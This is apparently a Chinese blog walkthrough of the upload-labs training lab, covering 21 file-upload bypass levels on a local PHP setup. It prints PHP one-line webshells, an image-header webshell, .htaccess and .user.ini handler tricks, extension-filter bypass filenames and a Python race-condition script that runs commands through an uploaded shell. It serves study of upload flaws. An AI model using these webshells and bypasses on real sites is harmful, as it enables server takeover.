Upload-labs 高版本php环境非完全攻略

写在最前:怎么搭建和工具最基本的安装和使用【bp和蚁剑】就不说了,网上有很多教程,这里讲一下如何直接用127.0.0.1进行抓包【建议使用Firefox】:打开设置,搜索网络代理,按下图进行配置即可,这样如果bp拦截已开的话可以直接抓到包,算是最简单的一种方法了。

然后这里面的大部分题目现在基本上已经灭绝了,很多都是很老的环境或者PHP版本,现在考的更多是综合题目,写这篇算是再长长见识,考古一下看看哪些是自己不知道的。因此这里有较多题目是我未能复现出来的,也没必要专门为了一个很老的环境下的漏洞去配置很久,权当是拓展视野即可。

Level1

先传一个文件看看,然后发现有前端校验,那么就传一个正常图片的后缀再bp抓包修改一下,或者可以直接浏览器禁用前端:

然后这里可以直接forward,bp还会抓到上传的图片的文件位置,我们将这个URL输入蚁剑连接即可:

Level2

这里是MIME检查,如果按照第一关的做法来做的话就是改后缀而不是MIME了,所以这里传一个php文件:

然后对content-type的内容进行修改,改成image/png或者image/jpeg

php 复制代码
<?=eval($_POST[1]);?>   //这里是分号但我图中写太快了变成冒号了

然后发包,同时bp里面会抓到上传图片的所在位置:

然后我们蚁剑连接一下就可以了:

Level3

【这里其实有问题,因为我是phpstudy部署的upload-lab,然后这里涉及到了版本问题,如果要进行配置可参考该博主文章:phpstudy的apache服务器无法解析运行以.php5,.phtml等非.php后缀的文件的解决方法,直接在末尾添加就行了,然后这里给出我的路径:D:\phpstudy_pro\Extensions\Apache2.4.39\conf

在该目录下找到httpd.conf在最后面添加保存,最后重启服务就行】

试了一下,我们传的php后缀被检测出来了,这里就有了后端校验:

但是我们可以稍微修改一下改成phtml【或者之前配置的等价拓展名】,然后连接蚁剑,这样我们就成了:

Level4

过滤了更多东西,同时源码里面还显示过滤了.ini,但是提示里没看到:

这里可以用.htaccess来做,如果想了解.user.ini和.htaccess的话可参考我之前写的文章:htaccessuser.ini.同样这里也要更改默认的配置文件:

将AllowOverride 后面的 none改为all,后面再重启apche服务即可。

先构造.htaccess内容:

php 复制代码
<FilesMatch "a.png"> //如果请求的文件名匹配正则表达式"a.png",就应用括号内的规则
SetHandler application/x-httpd-php 
</FilesMatch> //结束这个条件块

上传之后再传我们的木马,但是不知道为什么连蚁剑时连不上,提示说是返回数据为空,a.png传是传了但可能还是配置有问题啥的.htaccess没生效,所以这里就复现失败了,然后我看网上好多说用.php..来进行绕过的【Windows系统特性绕过】,但是题目源码看一下会删掉文件末尾的点:

php 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

而且真传的话也会显示此文件不允许上传,所以这里就做不下去了,只能往下走了。

Level5

这里正常做法就是传一个.user.ini,写入内容为:

php 复制代码
auto_prepend_file=a.png

然后再在a.png中写入我们的一句话木马上传即可,这里同样我也是不行,拼尽全力无法战胜..

Level6

这里面源码除了对.user.ini 和.htaccess的过滤外还有一点很大的区别,可以对比一下:

php 复制代码
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空


 $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

这样的话很明显就能看到没有用到大小写转换函数,那么在这里我们就能对其进行大小写绕过,将最后的php改成PHp即可

Level7

查看源码如下:

php 复制代码
  $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

这里可以看到去掉了trim函数【首位去空】,就比如说我们构造1.php ,最后面有一个空格的话那么不在黑名单内,就可以绕过过滤,但是依旧我的环境有问题,这里又不行了,权当作是做文件上传类型的题目时的一个思路吧

Level8

这里可以看到删掉了deldot(),没有过滤文件末尾的. 因此可以进行绕过,终于又连上了/(ㄒoㄒ)/~~

php 复制代码
 $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

Level9

php 复制代码
$file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空 

可以发现缺少了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

Windows 系统中,::$DATA 是 NTFS 文件系统中的一种数据流标识 ,用于访问文件的主要数据流, 如果我们在一个正常的文件名后面加上::$DATA那么依旧是正常读写文件,最后加的只是作为数据流表示而存在,因此可以加上这个数据流标识来绕过黑名单,但是需要注意的是最后蚁剑进行连接时要将这个给去掉:

这是因为**::$DATA 是 Windows 用来骗过滤的"马甲",不是文件真实路径的一部分。**

蚁剑连的是 HTTP 协议,不是 NTFS 文件系统, 即Apache/Nginx 不会像 Windows 内核那样解析 ::$DATA

Level10

php 复制代码
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

这里需要注意的是代码的执行顺序:这里先是执行deldot后面再是trim,而在deldot()是从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。这里的关键是deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来,最后trim又会删掉空格,因此可以构造1.php. .【点空格点】,那么最后生成的就是1.php.不在黑名单内可以绕过过滤,但不知道为啥又爆掉了....

Level11

php 复制代码
if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }

这里是对拓展名进行替换成空,但是只检测了一次,因此可以构造双写绕过如a.pphphp:

Level12、13

这里面源码注释一下,要不然有点懵:

php 复制代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    // 白名单:只允许上传jpg、png、gif
    $ext_arr = array('jpg','png','gif');
    
    // 这行是在取文件扩展名
    // strrpos() 找最后一个点的位置,substr() 从这个位置+1开始截取
    // 比如上传 "shell.jpg" → 返回 "jpg"
    $file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1);
    
    // 检查扩展名是否在白名单里
    if(in_array($file_ext, $ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];  // 临时文件
        
        /******************* 漏洞核心 *******************/
        // $_GET['save_path'] 用户通过URL参数完全控制
        // 后面拼接了:/ + 随机数 + 时间戳 + . + 扩展名
        // 例如:?save_path=../upload
        // $img_path = ../upload/99_20250212123456.jpg
        $img_path = $_GET['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext;
        /***********************************************/
        
        // move_uploaded_file(临时文件, 目标路径)
        if(move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

漏洞点:$_GET['save_path'] 用户可控,且直接拼接到文件路径里,没有任何过滤。

比如我们构造GET参数: ?save_path=../upload/shell.php%00,那么最终路径如下:

复制代码
../upload/shell.php%00/99_20250212123456.jpg  但是%00会进行截断,相当于只有shell.php【%00 是空字节,老PHP里文件操作函数看到它就认为字符串结束了】

但是当PHP >= 5.3.4:文件操作函数不再把 %00 当结束符,%00 变成普通字符,文件名不允许有空字节 → 保存失败,因此这道题也是考个谷,包括Level13POST传参也一样。

Level14

这里就看提示了:

说明我们不能直接搞一个txt写个webshell再改成png这种,如果想简单一点就找个正常图片010编辑一下,然后下面是一般的开头字节:

JPEG/JFIF 0xFF 0xD8

PNG 0x89 0x50

GIF 0x47 0x49

BMP 0x42 0x4D

我这里010编辑的:

如果要找图片的URL可以右键图片选择复制图像链接就行了,然后访问给我们的文件包含漏洞页面:

那以记事本形式打开我们的图片翻到最后看到是两个??php,所以这里再改一下进行上传然后发现还是不行【加在最后还是太不稳定了】因此这里采用"面向结果的编程":

另存为aaa.php,然后后面复制链接的时候发现变成了jpg,但是我们可以利用给我们的文件包含点进行命令执行或者连接蚁剑:

Level15

这里提示说本题使用getimagesize() ,这是 PHP 用来**判断"这是不是一张真的图片"**的函数。

如果是真的图片的话返回如下:

0 =\> 宽度, 1 =\> 高度, 2 =\> 图片类型常量(1=GIF,2=JPG,3=PNG...), 'mime' =\> 'image/jpeg'

getimagesize('文件') 的逻辑是:

  1. 读文件头几个字节

  2. 比对已知图片格式的签名

  3. 匹配上了 → 这就是个图片

  4. 匹配不上 → 这不是图片

那么这里我们可以使用非常经典的GIF89a,php识别为GIF图片后就能执行我们的图片马:

php 复制代码
GIF89a
<?php eval($_POST[1]);?>

Level16

提示使用exif_imagetype()检查是否为图片文件,也跟上面那个函数类似,定义如下:

exif_imagetype()是PHP扩展模块(EXIF)提供的图像类型检测函数,其核心工作流程并非基于文件扩展名或MIME标头,而是直接读取文件头部特定偏移量的二进制签名,同样也可以使用上一关的方法来进行getshell,但是得打开php的xif拓展才行:

Level17

这里是二次渲染,可以详细内容可以参考我之前写的跟二次渲染有关的题目:JPG二次渲染PNG二次渲染,因为png二次渲染的成功率高一点,所以一般建议用png进行。

这里看了网上别的大佬写的,可以不跑脚本直接用010编辑,找渲染之前和渲染之后都不变的地方插入木马,但是不知道为啥我这里除了开头不能改的这块其他全都不一样:

那就按照原来的方法脚本生成,这里就跳过了,重点讲下下面两关

Level18

php 复制代码
$is_upload = false;  // 设置上传状态为失败
$msg = null;  // 初始化提示信息为空

// 判断是否点击了提交按钮
if(isset($_POST['submit'])){
    // 允许上传的文件扩展名白名单
    $ext_arr = array('jpg','png','gif');
    
    // 获取上传文件的原始名称(客户端文件名,可控)
    $file_name = $_FILES['upload_file']['name'];
    
    // 获取上传文件的临时文件路径(服务器端)
    $temp_file = $_FILES['upload_file']['tmp_name'];
    
    // 从文件全名中截取扩展名,strrpos获取最后一个.的位置,substr截取后面部分
    // 漏洞点:完全信任客户端文件名,可以被伪造
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    
    // 拼接最终存储路径:上传目录 + 原始文件名
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    
    // 先移动临时文件到上传目录(漏洞:文件已经存在于服务器了)
    if(move_uploaded_file($temp_file, $upload_file)){
        // 检查扩展名是否在白名单中(现在才检查,存在时间差)
        if(in_array($file_ext,$ext_arr)){
             // 如果在白名单中,生成随机新文件名:2位随机数 + 时间 + 原扩展名
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             
             // 将文件重命名为随机文件名
             rename($upload_file, $img_path);
             
             $is_upload = true;  // 上传成功
        }else{
            // 如果扩展名不在白名单中
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            
            // 删除已经上传的文件(漏洞:文件已经存在了一段时间)
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';  // 文件移动失败
    }
}

存在的漏洞:

  1. 先上传后检查:文件已经存在于服务器后才检查类型,存在时间窗口

  2. 完全信任客户端:文件扩展名直接从客户端获取,可以伪造

  3. 条件竞争 :从move_uploaded_fileunlink之间存在时间差,可以在此期间访问文件

  4. unlink可能失败:如果文件被占用或权限问题,可能删除失败

因此这里我们采用条件竞争的方法,先写我们的一句话木马,命名为shell.php:

php 复制代码
<?php eval($_POST['cmd']);?>

然后开启bp拦截直接上传shell.php,发送到intruder,按添加一个新的爆破点选择为空,然后选择一直请求:

然后这里的话还要在设置里面改个线程,我是直接拉满了:

然后的话我们还需要个python脚本一直请求访问这个文件:

php 复制代码
import requests
import time

def main():
    url = 'http://upload:8099/upload/shell.php'  //这里找自己的路径
    # 需要发送密码和执行命令来验证
    data = {'cmd': 'system("whoami");'}  # 密码是cmd,执行whoami命令
    
    print("[*] 开始监控shell...")
    count = 0
    
    while True:
        count += 1
        try:
            # 使用POST请求,发送密码和命令
            res = requests.post(url, data=data, timeout=1)
            
            # 如果返回200且有内容(命令执行结果)
            if res.status_code == 200 and res.text.strip():
                print(f"\n[✓] 成功!第{count}次访问")
                print(f"[✓] 当前用户: {res.text.strip()}")
                print("[✓] Shell可用!密码: cmd")
                break
            else:
                print(f"\r[*] 第{count}次访问 - 状态码:{res.status_code}", end="", flush=True)
                
        except Exception as e:
            print(f"\r[*] 第{count}次访问 - 连接中...", end="", flush=True)
        
        time.sleep(0.01)  # 10ms访问一次

if __name__ == '__main__':
    main()

然后我们就可以开始start-attack,同时在vscode跑我们的脚本,结果如下:

但是有个问题是我连不上蚁剑,按照源码里给的代码来看路径是没有问题的,而且浏览器里也能显示有这个文件,并且不是白名单跟时间戳也没关系,但就是这么显示:

我没招了.....

Level19

源码有些问题,做如下更改:

php 复制代码
function setDir( $dir ){
    
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else { 
      $this->cls_upload_dir = $dir.'/';
      return 1;
    }
  }
php 复制代码
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
 
 
function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
  
    $this->cls_filename = $file_name;
    $this->cls_tmp_filename = $tmp_file_name;
    $this->cls_filesize = $file_size;
    $this->cls_file_rename_to = $file_rename_to;
  }
function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
 
    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
 
    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
 
    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
 
    // if we are here, we are ready to move the file to destination
 
    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
 
    // check if we need to rename the file
 
    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)
 
    return $this->resultUpload( "SUCCESS" );
  
  }
function move(){
    
    if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
      return "MOVE_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }
 
  }
function renameFile(){
 
    // if no new name was provided, we use
 
    if( $this->cls_file_rename_to == '' ){
 
      $allchar = "abcdefghijklnmopqrstuvwxyz" ; 
      $this->cls_file_rename_to = "" ; 
      mt_srand (( double) microtime() * 1000000 ); 
      for ( $i = 0; $i<8 ; $i++ ){
        $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; 
      }
    }    
    
    // Remove the extension and put it back on the new file name
		
    $extension = strrchr( $this->cls_filename, "." );
    $this->cls_file_rename_to .= $extension;
    
    if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
      return "RENAME_FAILURE";
    } else {
      return 1;
    }
  }

这里关键就是几个函数在干什么:

php 复制代码
1. isUploadedFile()  - 检查是否是上传文件
2. setDir()          - 设置目录
3. checkExtension()  - 检查扩展名(在白名单内吗?)
4. checkSize()       - 检查大小
5. checkFileExists() - 检查文件是否存在
6. move()            - 移动文件
7. renameFile()      - 重命名文件

总的来说就是先将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在,文件上传之后又对其进行了重命名。网上看别的大佬说涉及到了Apache解析漏洞【Apache解析文件时,是从右向左判断的】

php 复制代码
# Apache的mime.types配置
AddType application/x-httpd-php .php .phtml .php5
# 默认只解析这些,其他都不解析

example.php.rar.jpg
         └──┬──┘
        先看.jpg,不认识
      └─────┬──────┘
     再看.rar,还不认识
   └────────┬────────┘
  最后看.php,认识!当作PHP执行

这里也是打时间差进行条件竞争,但是同样用phpstudy的环境做不出来,若有需要可移步:2025最新 upload-labs(1~21关) 靶场通关,超详细保姆级

Level20

php 复制代码
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
 
        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }
 
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里看着好像有挺多方法的,但是我尝试了一下发现不行,就比如说这样:

这里上传的文件命名是以保存的名称来看的,改成PHp后发送保存的名称,然后这里又有一个问题出现了:保存的名称已经是PHp形式但是连不上蚁剑,然后浏览器访问却显示500,可能还是环境配置有问题:

后面再去找别的方法来做,看到这么一个:

move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.

那么我们就将jpg改为php/.然后再次尝试,但是到这里的时候我发现了一个问题,连接蚁剑时最后一面还有一杠,然后我当时连的时候是没有的,于是我又按我之前的方法试了一遍发现就可以了:

如果按/.方法做的话结果又不一样了:

然后直接访问不管加不加/都能成功访问:

这就很奇怪了....后面又重新试了一下第一种方法,那么很难绷的事情就出现了:

问了LLM之后的回答也是仅供参考:

(一)Apache处理程序映射的初始化

某些Apache模块(如mod_php)在首次遇到新的扩展名时,可能需要加载额外的配置或动态模块。对于标准扩展名(如.php),处理程序早已加载;但对于非标准变体(如.Php),Apache可能需要时间解析或可能触发错误后回退。

(二)错误后的自动恢复机制

若首次访问因某种原因导致500(如PHP编译错误),Apache可能将该文件标记为"有问题",但在后续请求中,若文件未变化,可能经过一定次数的尝试后,Apache尝试重新执行,或者PHP的OPcache超时后重新编译,从而成功。

Level21

关键代码:

php 复制代码
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
    $file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
    $msg = "禁止上传该后缀文件!";
} else {
    $file_name = reset($file) . '.' . $file[count($file) - 1];
    // 后续移动文件...
}

第一,若**$_POST['save_name']** 存在且不为空,则**$file** 取自该值;否则取自上传文件的原始名**$_FILES['upload_file']['name']。**

第二,检查**$file** 是否为数组。若不是数组,则通过**explode('.', strtolower($file))** 将其转换为数组,分割符为点号。这意味着正常的字符串型**save_name** 会被拆分成多个片段,例如"shell.php.jpg"将变成**['shell', 'php', 'jpg']。**

第三,若**$file** 本身就是数组,则跳过**explode()** 步骤,直接使用该数组作为文件名各部分的容器。

第四,取数组最后一个元素**end($file)** 作为扩展名,进行后缀白名单检查(仅允许jpg/png/gif)。

第五,构造最终文件名:reset($file) (数组第一个元素)拼接点号再拼接**$file[count($file)-1]**(即最后一个元素,与扩展名相同)。注意这里没有拼接中间的元素。

这里便可以进行如下构造:

正常来讲的话最终文件名由 reset($file) . '.' . $file[count($file)-1] 决定。对于上述数组:reset($file) = 'shell.php',$file[count($file)-1]count($file)=2count-1=1,但索引1不存在,返回 NULL,拼接得 'shell.php.'

这里 png 并没有直接出现在拼接结果中,因为 $file[count($file)-1] 取的是索引1,而非索引2,png只用于end()检查,不参与文件名构造,但不知道为什么还是显示文件上传失败,如果将pngd的索引位置改为1的话那就是shell.php.png,那么最终的形式为jpg,我们的一句话木马也就不会被解析,还是以后碰到了再看吧。

相关推荐
JaguarJack2 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo2 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack2 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay3 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954483 天前
CTF 伪协议
php
BingoGo6 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack6 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo7 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack7 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack8 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端